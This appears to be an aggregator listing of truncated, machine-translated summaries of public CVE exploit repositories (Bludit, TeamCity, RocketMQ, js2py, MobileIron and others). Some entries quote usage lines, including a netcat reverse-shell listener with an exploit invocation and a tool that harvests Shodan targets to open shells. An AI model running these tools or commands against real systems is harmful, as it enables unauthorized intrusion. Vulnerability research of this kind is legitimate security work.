CVE-2025-55182

CVE-2025-55182 — Nicht authentifizierte RCE in React Server Components Schweregrad: Kritisch — CVSS 10.0 CWE: CWE-502 Deserialisierung nicht vertrauenswürdiger Daten Anbieter: Meta Facebook Offengelegt: 3. Dezember 2025 Übersicht CVE-2025-55182 ist eine nicht authentifizierte Sicherheitslücke zur...

CVE-2024-25293

Preuve de concept d'exécution de code locale MJML Une preuve de concept pour la vulnérabilité CVE-2024-25293. mjml-app v3.0.4 et 3.1.0-beta a été découvert comme contenant une exécution de code à distance RCE Dans ce dépôt se trouve un exemple d'application vulnérable et un exploit de preuve de...

CVE-2019-16113-Dockerfile

ثغرة اجتياز الدليل في Bludit CVE-2019--16113 Bludit-3.9.2 هو نظام إدارة محتوى CMS خفيف الوزن، ولا يحتاج سوى بيئة LAMP ليعمل. عند رفع الصور، يتحقق Bludit من امتداد الملف دون حذفه في الوقت المناسب، ويمكن للمهاجم أيضًا التحكم في معامل uuid لتحقيق اجتياز الدليل. المرجع بيئة الثغرة نفّذ الأوامر التالي...

CVE-2024-51567-RCE-EXPLOIT

CVE-2024-51567-RCE-EXPLOIT cbyerpanel rce exploit...

n8n-CVE-2025-68613

🔥 n8n CVE-2025-68613 — Forschung zur Remote-Code-Ausführung Dieses Repository enthält eine vollständige Sicherheitslückenforschung, Exploit-Methodik, Detektionstechnik und eine TryHackMe-Komplettlösung für CVE-2025-68613 , eine kritische Remote-Code-Ausführungs-Sicherheitslücke in der...

cve-2021-45232-exp

apisixdashboardrce Non essere malvagio...

cve-2021-45232-exp

apisixdashboardrce Don't be evil...

CVE-2023-33246_RocketMQ_RCE_EXP

CVE-2023-33246RocketMQRCEEXP Exploit di Remote Code Execution per RocketMQ CVE-2023-33246 Panoramica Le versioni di RocketMQ 5.1.0 e precedenti sono vulnerabili all'Iniezione di Codice Arbitrario. Il componente Broker di RocketMQ è esposto sulla rete esterna e non dispone di verifica dei permessi...

CVE-2021-41773

CVE-2021-41773 Ho sviluppato una POC di CVE-2021-41773 , RCE + path traversal in cgi-bin NOTA : TESTATO SU APACHE2 2.4.49 Puoi fare il pull della versione vulnerabile di Apache2 2.4.49 direttamente da Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run...

sjet

sJET di siberas siberas JMX Exploitation Toolkit sJET consente un facile sfruttamento di servizi JMX configurati in modo insicuro. Ulteriori informazioni di base sono disponibili qui e qui. Prerequisiti Jython 2.7 Utilizzo SJET implementa un'interfaccia CLI usando argparse: root@kitploit: jython...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 root@kitploit: nc -lnvp 4444 利用端 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE（远程代码执行） rce.py 灵感来自 - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py 此脚本复制自 https://www.exploit-db.com/exploits/51884，由 ByteHunter 制作。 该脚本返回登录凭据，并非RCE...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 漏洞利用 README.md 描述 该 bash 脚本自动扫描易受 CVE-2023-38035 漏洞影响的 MobileIron 系统。脚本执行多项检查，包括检查所需程序、从 Shodan 下载潜在目标、扫描这些目标，最后尝试在易受攻击的系统上启动 shell。 功能 自动 Shodan 查询，查找易受攻击的 MobileIron 系统 提取 IP 地址以供扫描 自动评估目标漏洞 提供使用不同方法（如 ncat 或 multireverse.sh）执行反向 shell 的选项 检查缺失的依赖项并推荐安装 漂亮横幅，让工具看起来很酷 😎...

CVE-2023-21716-Analysis-ICT287

CVE-2023-21716 分析-ICT287：Microsoft Word 远程代码执行 概述 此仓库记录了对 CVE-2023-21716 的分析与复现过程，该漏洞是 Microsoft Word 的 RTF 解析器中的堆缓冲区溢出漏洞，CVSS 评分为 9.8（严重）。 内容说明 文件| 描述 ---|--- CVE-2023-21716AnalysisReport.pdf| 完整的技术分析报告，包含漏洞解释、影响评估、虚拟机搭建指南及漏洞利用演示截图 主要发现 根本原因 ：wwlib.dll 在解析包含过多字体 ID（）的 时，边界检查不充分。...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - SAP Netveawer 漏洞利用 SAP NetWeaver Visual Composer 7.0 RT 版本 - 7.30, 7.31, 7.40, 7.50，在没有限制的情况下，经认证的非管理用户可以通过网络上传恶意文件并触发其处理，从而能够以 Java 服务器进程的权限运行操作系统命令。这些命令可用于读取或修改服务器上的任何信息，或关闭服务器使其不可用。...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 Реализация на FreePascal для CVE-2010-2075 Уязвимость UnrealIRCd 3.2.8.1 RCE путем отправки "AB; command" любому прослушивающему сервису. Любая отправленная команда выполняется от того же пользователя, под которым запущен UnrealIRCD. Эта реализация запускает обратную оболочку revers...

cve-2020-00796

CVE-2020–0796 취약점 식별 및 즉석에서 완화 CVE-2020–0796은 SMBv3Server Message Block 3.0 네트워크 통신 프로토콜에 존재하는 pre-remote 코드 실행 취약점으로, Microsoft는 2020년 3월 화요일 패치에서 이 문제를 해결하지 않을 것입니다. 사용법 python3 cve-2020-0796-scanner.py IP CVE-2020-0796은 어떤 장치에 영향을 미칩니까? SMB 프로토콜에서의 패킷 요청 협상...

CVE-2024-38077

CVE-2024-38077 다음은 CVE-2024-38077에 대한 가능한 GitHub 설명입니다: CVE-2024-38077: Windows 원격 데스크톱 라이선스 서비스의 원격 코드 실행 취약점 개요: CVE-2024-38077은 Windows 원격 데스크톱 라이선스 서비스의 중요한 취약점으로, 원격 공격자가 취약한 시스템에서 임의 코드를 실행할 수 있게 합니다. 이 취약점은 특정 입력을 처리할 때 서비스에서 힙 오버플로가 발생하기 때문입니다. 이 결함을 악용하면 전체 시스템이 손상되어 공격자가 인증 없이 제어권을 획득할 ...

CVE-2023-3722

CVE-2023-3722 CVE-2023-3722 Avaya Aura Device Services 무제한 파일 업로드 RCE에 대한 Python POC입니다. 이 스크립트는 PUT 요청을 사용하여 8자리 무작위 생성 파일 이름으로 PHP 파일을 업로드합니다. 그런 다음 GET 요청을 통해 이 파일을 검색하고 출력을 파싱하여 명령 출력을 얻습니다. 실행 root@kitploit: python3 ./CVE-2023-3722.py example.com:444 --query "id" root@kitploit: python3...

CVE-2016-16113-POC

RCE 획득 - Bludit CMS 익스플로잇 root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240인증 우회와 CVE-2019-16113임의 파일 업로드를 결합하여 취약한 Bludit CMS 설치에서 원격 코드 실행을 달성하는 자동화된 익스플로잇 도구입니다. ⚠️ 법적 고지 승인된 보안 테스트 전용 이 도구는 합법적인 경계 내에서 수행되는 공인된...